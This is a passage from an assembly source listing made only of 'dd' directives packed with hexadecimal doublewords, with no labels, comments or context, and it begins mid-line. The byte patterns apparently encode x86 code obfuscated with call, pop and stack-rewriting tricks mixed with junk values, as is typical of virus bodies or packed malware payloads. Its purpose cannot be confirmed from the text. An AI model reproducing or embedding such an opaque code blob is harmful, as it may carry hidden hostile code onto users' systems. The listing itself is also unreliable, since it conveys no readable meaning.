0C466FBBDh, 8F95DC24h, 5EFD2218h dd 0D5EB24B1h, 148D0Fh, 0FE90000h, 7C000000h, 0CFB24AC4h dd 9663C294h, 8E795FE1h, 8D5FF02Ah, 4E106185h, 9852906h dd 90064E06h, 7AF0BF50h, 6A900732h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 7A42C352h dd 0ECFC79DDh, 8D893DEBh, 64E067Dh, 0BD23006Ah, 64E1159h dd 0BF0F006Ah, 858DF8F2h, 651F00Ah, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 0ADC35646h, 0AC7CD2h, 0C595897Eh dd 83064E02h, 0F9005C0h, 81h, 6E95000h, 71000000h, 0F182738Ch dd 6A9089h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 6D95AAC3h, 9D0C0DEFh, 7E8h, 2F0F9900h, 48486A09h dd 0F006A5Eh, 68Dh, 4DB52900h, 66064E13h, 449FCF81h, 6A006Ah dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 7BDC22C3h, 4ACAF671h, 6049E1D8h, 0DDB589F8h, 61064E24h dd 88595FFh, 0DE81064Eh, 12EC453Fh, 0AF499D8Dh, 6A0651h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 99EF79C3h, 0D3FFC102h, 8D585FFh, 8C0F064Eh, 8, 0C3816660h dd 61F54BF4h, 88FE9h, 0E800h, 815D0000h, 51F014EDh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0A0E556C4h, 66E8D37Fh, 0BD81FE8Bh, 64E2A5Dh, 7D0h, 16A860Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 47C9B8C3h, 627B5788h, 1315B589h, 9D8B064Eh dd 64E0CEDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0DCC35646h, 0AAFA18B7h, 25459D89h, 0E381064Eh dd 100h, 0C714BE66h, 88BDA3BFh, 0FDB0B05h, 0A585h, 69BD8300h dd 651EEh, 43840Fh, 66600000h, 0EF79D781h, 61F1BF0Fh, 0A8E9h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BD8B48E7h, 64E2C25h, 0F1DF8166h, 6810FABh dd 8B000000h, 4E1865B5h, 6985C706h, 10651EEh, 81000000h dd 8ABA3F7h, 8E973h, 0D6760000h, 431AFD46h, 52E9ED62h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 9289C356h, 0E85093B9h, 6, 40424191h dd 0B5898E9Ch, 64E0525h, 85C75E5Fh, 651EE69h, 0 dd 8E9h, 526C7F00h, 0C7B63D17h, 0BD23529Dh, 64E13A5h, 0ED9D8D5Eh dd 6A064E0Ch, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 70E9C353h, 0DBD8BEEh, 81064E15h dd 0FFFEFF23h, 0A9B58BFFh, 66064E21h, 8BA0D681h, 81DB8C66h dd 0E2DA7DE6h, 4C3F61Dh, 6A840Fh, 81660000h, 0FFCC10CFh dd 4E2FCD95h, 9E806h, 400F0000h, 43EEF723h, 0BE828196h dd 426AEAE5h, 6E8905Fh, 29000000h, 1E310BE9h, 0D78A6066h dd 9E9h, 24A71200h, 0C2E97E91h, 5F6144A6h, 0BE665250h dd 905E6DD4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 34C35747h, 868B697Bh, 0F5D86B27h, 47DE9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0A8C8D1DFh, 9950369Dh, 0FE8h, 0E9819F00h, 0EBC7E413h dd 724BED4Eh, 21AE6ABFh, 28F0Fh, 5F560000h, 0D0F7815Eh dd 0B015C632h, 860F6000h, 6, 8D0Fh, 0B9660000h, 0E66113FEh dd 50006A70h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 8EC48009h, 71E4E24Fh, 68D0Fh, 0BD8B0000h dd 64E0825h, 0E9D8B60Fh, 0Bh, 355A26FEh, 51458F78h, 0BA92C404h dd 6, 2C49B58Bh, 0C38B064Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 7CC35141h, 41EABB98h, 1599B533h dd 0E8C1064Eh, 50006A04h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0A666FD3Ah, 89608F60h dd 4E1F558Dh, 6661F906h, 6AE2F7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0B77ADCC3h, 0E7816656h dd 0D82BC32Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 94C35646h, 0F7D94A0h, 0B80h, 5860F00h, 0BE000000h dd 36332671h, 66525093h, 310FF78Bh, 12E960h, 0E55F0000h dd 5063E46Fh, 0FAE62BCCh, 0C8302468h, 0E699DB41h, 5A61F58Ah dd 820F5058h, 0 dd 91B58B93h, 0FF064E0Eh, 4E2A5DB5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0DB45B90Ch dd 1FB4E61Dh, 0BE8h, 6C7DC200h, 43AA2A48h, 21AB4772h, 5995FF5Eh dd 6A064E1Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 1906C352h, 0DDA422A9h, 0B0B3F3h dd 0EB6C681h, 70E63847h, 0E4FA8B66h, 51006A71h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0DD1535A9h dd 668DBDFAh, 613CF98Bh, 254830Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 815B83C3h dd 74079CF7h, 0D8B60F61h, 6830Fh, 0CF810000h, 6F9566D4h dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 4FD5BD12h, 5DB58B43h, 8B064E26h dd 0D38B60C3h, 9E8h, 24A71200h, 0C2E97E91h, 615944A6h dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0DC22C353h, 0CAF6717Bh, 0BA1B52Bh dd 0F766064Eh, 52006AE2h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0BC3F925Fh, 8954A913h dd 4E13ED8Dh, 698D2906h, 2B064E2Bh, 0A5BD29D8h, 58064E18h dd 3CE8166h, 0FD82BE9h, 17188h, 7B900h, 0B58B0000h, 64E0CF5h dd 8B00C183h, 4E2C39BDh, 0FD93B06h, 15586h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 54443865h, 13A0690Eh, 0B58B014Dh, 64E1739h, 0E4F9E781h dd 8C667B83h, 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 10AD2D22h, 8BB582CFh, 4E18F5BDh dd 6E906h, 0E6700000h, 1E39A6A1h, 0F04C1F6h, 0C484h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0DD77FF8Dh, 40004E14h, 26C99D01h, 95FF064Eh, 64E2FCDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 77C35141h dd 3A957964h, 0EE9h, 2507900h, 630DA492h, 5011C08Bh, 5B5B422Ah dd 85895E57h, 64E2129h, 880FC32Bh, 0 dd 8343Dh, 46860F00h, 0E8000000h, 0Eh, 95BB2973h, 0DF42C614h dd 0F6049BEEh, 0F28BE067h, 4CE95Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 124506C3h dd 6779F64Eh, 8B3E140Dh, 4E2C99B5h, 6AC08B06h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 6E79C350h, 0C38BF41Fh, 6AD88Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 85C72CC3h, 64E2269h dd 113D2B59h, 2D418D89h, 0C08B064Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0CFC35545h, 63EC144Bh, 89B9C898h dd 0CE9DEh, 28660000h, 101CA3A9h, 79EBD824h, 0BD81AF82h dd 64E2A5Dh, 7D0h, 31850Fh, 0BD330000h, 64E1295h, 2A5D85FFh dd 6A064Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 9526A3C3h, 0F9B58B51h, 0FF064E2Bh, 4E2A5DB5h dd 0FFFA8B06h, 4E1A5995h, 64E78106h, 907E3B4Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 5EC35040h, 72F8C681h dd 6A1622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 51283EC3h, 0A028D711h, 0FF837D8h, 684h, 66D78100h dd 8939A5A2h, 4E18E195h, 0FE906h, 0D77B0000h, 63AB7962h dd 39570609h, 0A5190ABDh, 0B59589D1h, 8B064E14h, 4E29C9BDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 230C9F9Fh, 4E1339BDh, 156F906h, 4E21258Dh dd 0BF665E06h, 85899949h, 64E25C9h, 51006AF9h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 8DE13461h dd 7FF8D30Fh, 0B58B623Bh, 64E1739h, 7800Fh, 85890000h dd 64E0C09h, 0D18D01F5h, 6A064E2Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 170BC357h dd 9493237Ch, 0B3280026h, 3025BD8Bh, 7AE9064Eh, 89FFFFF7h dd 4E26E5BDh, 0F78B6606h, 6AC18Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 29528DC3h, 4E0A118Dh dd 4EB5F06h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 95C35242h dd 0E8A2DC5Bh, 0D71B358Fh, 1061858Dh, 0C781064Eh, 435DFB85h dd 895F5050h, 7E92404h, 87000000h, 2CB269E0h, 6A180Fh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2CC35545h dd 0DDF5872Dh, 1E05529Ah, 0BD8B006Ah, 64E0F21h, 0F9E7858Dh dd 81660651h, 0F6B7DD7h, 68Bh, 9DBD0300h, 83064E16h, 816605C0h dd 9076F1F6h, 0C1BE6652h, 50505F90h, 5A310F52h, 6A9058h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F8C35747h dd 0F426D0F4h, 62E78166h, 0FF006A02h, 4E088595h, 68F0F06h dd 81000000h, 0D64E72F7h, 499D8D2Bh, 0F0651AFh, 682h, 840F00h dd 0FF000000h, 51006AD3h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0F074CB6h, 687h, 0E1BD8B00h dd 0FF064E11h, 4E08D585h, 7D7E906h, 0E80000h, 5D000000h dd 0F9F1ED81h, 0BD8B0651h, 64E0345h, 2A5DBD81h, 7D0064Eh dd 860F0000h, 13Eh, 8BF1BF0Fh, 4E1B919Dh, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 0BC936BA0h, 750647E7h, 0E3810F45h, 100h, 59B52950h dd 5E064E0Fh, 850FDB0Bh, 0B1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 10C35141h, 1BA56B12h, 5800Fh dd 81660000h, 8B036EEEh, 4E19E9BDh, 0C6BD8306h, 651F8h dd 15840Fh, 57600000h, 5280BB66h, 4DCF8058h, 73E961h, 81660000h dd 0C7908ACEh, 51F8C685h, 106h, 59958900h, 0E8064E14h dd 13h, 8240A815h, 0D274F3F0h, 6A36571Dh, 1C12136Fh, 0F985171h dd 0B8Ch, 5E800h, 0A6350000h, 5E8FB6F5h, 2FE95Fh, 890F0000h dd 19h, 12E8h, 0A296E200h, 40ACBC2Ah, 0B54E4366h, 0A9CE6E66h dd 0F959BA19h, 0C685C75Fh, 651F8h, 8B000000h, 4E28D1B5h dd 919D8D06h, 6A064E1Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 315FC350h, 0E82CE50Ah dd 0B58BCA69h, 64E19A5h, 0FEFF2381h, 0BE66FFFFh, 8C66CCF7h dd 118589DBh, 0F6064E09h, 840F04C3h, 1Ah, 11899D29h, 95FF064Eh dd 64E2FCDh, 66F2B70Fh, 0DDEEEF81h, 89FA8B50h, 2E92404h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 2694C351h, 0B7B32800h, 29498D89h dd 0B0064Eh, 1219B58Bh, 70E6064Eh, 41BE71E4h, 8B31EF90h dd 4E0F45BDh, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 6FC35646h, 44508B53h, 0CF308ACh, 1F35BD8Bh dd 6BA064Eh, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 1E01C350h, 5721FB76h dd 69BD892Ah, 8B064E20h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 810F911Fh, 6, 0A919D89h dd 0E8C1064Eh, 0A9BD8B04h, 66064E18h, 6AE2F7h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 8DFC28C3h, 2363F17Ch, 4E316DB5h, 0FD82B06h, 684h, 0B9BD8B00h dd 93064E0Ch, 0DE9h, 0EDAC7700h, 104FC51h, 0BBA7AFD6h dd 6650BE3Bh, 6A93F38Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 83ADC351h, 8F39E9B7h dd 0FF362AFCh, 4E2A5DB5h, 0EFEE8106h, 0FF4C9830h, 4E1A5995h dd 6A00B006h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 36D1C351h, 32D3C93Ch, 8B70E6F8h dd 4E05D5B5h, 6A71E406h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 7DDFC352h, 860FA827h dd 0 dd 830F613Ch, 255h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 2BC35040h, 641B84A4h, 857A5A9Dh, 0AE9h dd 60FAAE00h, 0B1254393h, 899EB3C1h, 4E2D799Dh, 0D8B60F06h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 6EC35343h dd 0E6B0D1Ch, 41B95016h, 0BAFB8B66h, 6, 0E860C38Bh, 13h dd 8CFBF385h, 8B5298FDh, 6B7DBB91h, 302A4E9Eh, 66B7659Eh dd 315FF28Bh, 4E023985h, 0E8C16106h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0E0C1AC2Bh dd 4DAC5723h, 0F2B70F94h, 66F9BF0Fh, 6AE2F7h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3466ABC3h dd 0F5B58957h, 5E064E30h, 0BE66D82Bh, 8B587A4Dh, 4E2615B5h dd 0FD82B06h, 15C88h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0B9CB4FEDh, 7, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 1BC35040h, 6E69247Fh dd 4736AA0Fh, 0FBBF0F2Fh, 6000C183h, 89F78B66h, 4E2069B5h dd 7E96106h, 0B8000000h, 908A751Dh, 0D93B4A15h, 0EF860Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0F1498DC3h, 66FE8B06h, 6AD98Ch, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0E35500C3h dd 0F6636DC1h, 840F04C1h, 83h, 95FFF38Bh, 64E2FCDh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0CCC35747h, 4FD79E92h dd 65858935h, 0E8064E13h, 5, 0F8C3F95Bh, 3800FCFh, 66000000h dd 5B5FF88Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 75C35343h, 0C32BF868h, 1539B58Bh, 343D064Eh, 0F000008h dd 0E86h, 0F0BF0F00h, 24E9h, 15BD8B00h, 8B064E16h, 0FB8B66C0h dd 14E9h, 16C6F000h, 9ECE5DD8h, 0BF75A0BBh, 0C4D285B7h dd 0B2F2A750h, 8BC38B07h, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0D9B50326h dd 0C7064E0Ah, 4E0CED85h, 9E613106h, 55006A35h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0FE594A55h dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 8CC32DC3h, 0BD81D985h, 64E2A5Dh, 7D0h, 50850Fh dd 0CE90000h, 3C000000h, 0B6DF9A48h, 2B610CB1h, 6650B265h dd 8DAFDE81h, 2A5D85FFh, 6A064Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 600CFAC3h, 0A8C0Fh, 8B600000h dd 0E9B58BF8h, 61064E0Ch, 2561BD89h, 0B5FF064Eh, 64E2A5Dh dd 0E3D8D01h, 95FF064Eh, 64E1A59h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 73C35646h, 8A0F1772h, 0 dd 19953190h, 89064E21h, 4E15D19Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 57718A5Ch dd 860Fh, 14E90000h, 36000000h, 8DD03B2h, 2B001F9Ah, 0CC5DF68Ah dd 0C0F3FC06h, 0E9146CE9h, 14h, 2595528Ah, 7B92ED3h, 3E27E353h dd 0F4CF924Fh, 982A6629h, 11E9h, 0AD262B00h, 0C9ABEF1Bh dd 3D768860h, 176D8D1Fh, 6A2B5Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 6657C0C3h, 0F5EFA8Bh dd 6AFAB7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 469DB8C3h, 0B439EC4Ah, 2B25BD8Bh, 6057064Eh dd 1B25B589h, 2BF9064Eh, 4E30B9BDh, 665F6106h, 29CCA4BFh dd 4E09F585h, 8166F906h, 89BC18F7h, 4E0CCD95h, 2EFABF06h dd 858969CEh, 64E1995h, 14E9h, 4D287A00h, 64971C38h, 7E849999h dd 4B26A166h, 9A64423Dh, 69B52BB3h, 0E9064E0Bh, 0FFFFF84Ah dd 8E9h, 1C89B700h, 82B89136h, 0CE9B8h, 9D4D0000h, 9ED98809h dd 0E2D7FB2Ch, 0B70F6888h, 6AC18BF8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0DB20C357h dd 2F558D89h, 4EB064Eh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F3C35545h dd 0F76F4E1Dh, 3246D51Ah, 0F38B66C5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 28C35747h, 3040860Ah, 5C62BF54h dd 858D25EDh, 64E1061h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 69C35242h, 0FFB70F85h, 3820Fh, 8B660000h dd 0D1BF50FBh, 8902891Dh, 6A2404h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 81CFBC3h, 5B1BF9C3h dd 8BDCBB2Ah, 4E0609BDh, 65B58B06h, 6A064E15h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0F28B57BCh, 6051006Ah, 2FE99D8Bh, 860F064Eh, 0 dd 858D5E61h, 652041Bh, 3DBD8B60h, 60064E27h, 315D958Bh dd 6E9064Eh, 0FE000000h, 3807483Fh, 836161F6h, 6A05C0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C1F835C3h, 0D1B08134h, 129BF66h, 0CE9h, 94EC3700h dd 183988E9h, 0F1CEA69Ch, 810F509Dh, 4, 7EFCBF66h, 0F240489h dd 689h, 4DBD3100h, 6A064E25h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 0B250990h dd 4E1379BDh, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 5C47C356h, 0D82DAF3Ch dd 730CBB7Ah, 88595FFh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 710DF2C3h, 1DF64A50h dd 0AF499D8Dh, 6E80651h, 3C000000h, 0D162FF12h, 298589D5h dd 5E064E11h, 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0C318E6C3h, 0CDFCE8C9h, 8BD83695h dd 4E2145BDh, 11858906h, 0FF064E27h, 4E08D585h, 8D8B6006h dd 64E31A1h, 8B9E961h, 0E80000h, 5D000000h, 425ED81h, 0B58B0652h dd 64E0815h, 8D66BE66h, 2A5DBD81h, 7D0064Eh, 860F0000h dd 11Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 77C35646h, 67AF1647h, 0D0BFF893h, 0A5B58BDBh, 8B064E11h dd 4E053D9Dh, 0E381FC06h, 100h, 11FD9529h, 0DB0B064Eh dd 0A2850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0CBF8FFC3h, 0C36CFE6Ch, 1EABD83h dd 0F000652h, 4884h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0F8B70F75h, 6CE9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8B80185Dh, 4E13A9BDh, 0EA85C706h, 1065201h, 0E9000000h dd 39h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h dd 34C35646h, 1EA85C7h, 652h, 0EE90000h, 0E6000000h, 11859448h dd 76A19623h, 0AD9A86F4h, 3D9D8D07h, 0F064E05h, 8Ch, 0FF238100h dd 89FFFFFEh, 4E220D85h, 0DB8C6606h, 5E9h, 9FE96500h, 0B58B2DD6h dd 64E2B7Dh, 0F04C3F6h, 4684h, 12E900h, 37E90000h, 0DFF4352Eh dd 73944E60h, 621D7F0Ah, 0AB070137h, 2FCD95FFh, 6A064Eh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0DC79FDC3h, 506A0058h, 73F3BF66h, 0E9240489h, 4B4h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 39C35646h dd 3DF8DB1h, 811FC238h, 3FA63BDEh, 8B00B07Eh, 4E2119B5h dd 0D9950906h, 0E6064E20h, 0F2B70F70h, 0B70F71E4h, 0D8B60FFAh dd 297D8589h, 6BA064Eh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 89DCC350h dd 0F6441DBh, 8Dh, 0C1C38B00h, 0E85304E8h, 11h, 3A1FF4F5h dd 5E511F31h, 0FB3A89BDh, 66957DD5h, 5EFE8B4Eh, 76CF815Fh dd 664F174Dh, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 89A93FC3h, 4E0B3DB5h, 38D0F06h dd 0F000000h, 0D82BF9B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0E3C35242h, 0EE84E2Ch, 5C000000h, 0E9D643AEh dd 3F58B12Ah, 10D239A2h, 0B70F5E5Ah, 870F50FFh, 0Bh, 5840Fh dd 0E6BE0000h, 8944E843h, 8E0F241Ch, 6, 2D758D31h, 0B5FF064Eh dd 64E2A5Dh, 14018589h, 95FF064Eh, 64E1A59h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 79C35545h, 0B054BB62h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 89CC8CBCh, 4E26C18Dh, 6A70E606h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0BE43C351h, 0E42EC002h, 8E871h, 0D4F60000h, 36B4CF52h dd 0BF662B99h, 3C5E2482h, 0FD830F61h, 66000002h, 0FA0BCBFh dd 0BD8BD8B6h, 64E0E95h, 22558D89h, 6BA064Eh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 5A2DC352h, 2BA5FB6Ah, 10958D89h, 0C38B064Eh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1FC35141h dd 532419ABh, 1929D16Eh, 0FFBE663Ah, 4E8C104h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EDC35040h, 7EE2A520h dd 0DC104434h, 0E2F766C1h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 68C35646h, 9A99D798h, 0BD78E356h, 12E9h dd 18F3D400h, 0CC2DF46h, 0B9ECCA48h, 4A3E2865h, 8B5CAB74h dd 4E2125B5h, 6AD82B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 1B84C353h, 7A5A9D64h dd 6A5885h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0DCA483C3h, 0EF5BFE15h, 880FD82Bh, 1D8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E4C35242h dd 58AF858h, 8C175B06h, 0FF98B66h, 7B9F2BFh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 51CAC352h, 9E5FD0C3h, 0E1C6D59Ah, 14E8h dd 0AA136700h, 8766D12h, 0EC96A46Dh, 26BFDEE5h, 0D883D89h dd 8174BE7Fh, 835F32DAh, 0FE800C1h, 46000000h, 0D1327AE9h dd 0BF3C4C85h, 0B422D9F4h, 85899FFBh, 64E2F8Dh, 0FD93B5Fh dd 13F86h, 0F1BD3300h, 66064E0Bh, 6AD98Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 55AD6C3h dd 2ADA4456h, 0B589D184h, 64E14D5h, 0F04C1F6h, 0DD84h dd 0DE900h, 2E5D0000h, 194C50E3h, 0A5FDF307h, 0FFF15EBDh dd 4E2FCD95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 89E52DAAh, 4E0AE9BDh, 6A5B06h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 7F3A15C3h, 21F666CDh, 890F4684h, 6, 0A79B58Bh, 0C32B064Eh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BCC35747h dd 0D13CDED0h, 0B52981EFh, 64E0DCDh, 4DE8166h, 8343DF8h dd 860F0000h, 36h, 19BD89h, 51E9064Eh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 1FDC357h, 13672F8Dh, 766D12AAh, 7EDB589h, 0C08B064Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A1C35646h dd 0BD2900E6h, 64E15E5h, 0D88BC38Bh, 0C7F88B66h, 4E1B9185h dd 0F6B9706h, 57006A38h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0F98B712Fh, 6AC08Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 801526C3h dd 82D2E350h, 0F6B70FDAh dd 2A5DBD81h, 7D0064Eh, 850F0000h, 50h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9AC35545h, 6614F5CCh dd 0D5470CEFh, 5D85FF61h, 6A064E2Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7369C355h dd 9D89EF49h, 64E07A9h, 2A5DB5FFh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 4ADB3CC3h dd 3EF7736Fh, 2CA0BF66h, 1A5995FFh, 6A064Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0BDB0FDC3h dd 1D76A83Bh, 8D3106D3h, 64E1839h, 2B61BD89h, 8990064Eh dd 4E1F55B5h, 2DBD8B06h, 51064E06h, 213D9529h, 665E064Eh dd 0E84A58BFh, 6, 0CE905D72h, 8589F0BBh, 64E1F69h, 0CE81665Eh dd 6A2301h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 35A8D0C3h, 0E614DEBFh, 5E916h, 0D69B0000h dd 89B661D1h, 4E11D98Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 